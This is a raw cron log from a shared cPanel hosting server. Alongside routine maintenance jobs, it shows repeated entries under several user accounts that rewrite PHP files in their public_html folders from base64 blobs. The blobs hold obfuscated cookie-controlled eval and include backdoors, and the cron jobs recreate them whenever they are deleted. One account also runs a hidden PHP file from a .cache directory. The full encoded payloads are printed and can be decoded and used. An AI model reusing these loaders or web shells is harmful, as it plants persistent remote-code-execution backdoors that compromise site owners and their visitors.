Mar  1 07:39:01 medusa CROND[1555]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:39:01 medusa CROND[1556]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:39:01 medusa CROND[1557]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:39:01 medusa CROND[1554]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:40:01 medusa CROND[23952]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:40:01 medusa CROND[24010]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 07:40:02 medusa CROND[24055]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 07:40:02 medusa CROND[24105]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 07:40:02 medusa CROND[24106]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 07:40:02 medusa CROND[24107]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:40:02 medusa CROND[24108]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:40:02 medusa CROND[24111]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:40:02 medusa CROND[24114]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:40:02 medusa CROND[24113]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 07:40:02 medusa CROND[24119]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:40:02 medusa CROND[24121]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:40:02 medusa CROND[24123]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:40:02 medusa CROND[24122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:40:02 medusa CROND[24125]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:40:02 medusa CROND[24128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:40:02 medusa CROND[24129]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 07:40:02 medusa CROND[24139]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:40:02 medusa CROND[24136]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 07:40:02 medusa CROND[24143]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:40:02 medusa CROND[24138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:40:02 medusa CROND[24147]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:40:02 medusa CROND[24148]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:40:02 medusa CROND[24137]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:40:02 medusa CROND[24151]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:40:02 medusa CROND[24142]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:40:02 medusa CROND[24141]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 07:40:02 medusa CROND[24145]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:41:01 medusa CROND[13903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:41:01 medusa CROND[13904]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:41:01 medusa CROND[13905]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:41:01 medusa CROND[13906]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:41:01 medusa CROND[13907]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:41:01 medusa CROND[13908]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:41:01 medusa CROND[13910]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:41:01 medusa CROND[13909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:41:01 medusa CROND[13911]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:41:01 medusa CROND[13912]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:41:01 medusa CROND[13914]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
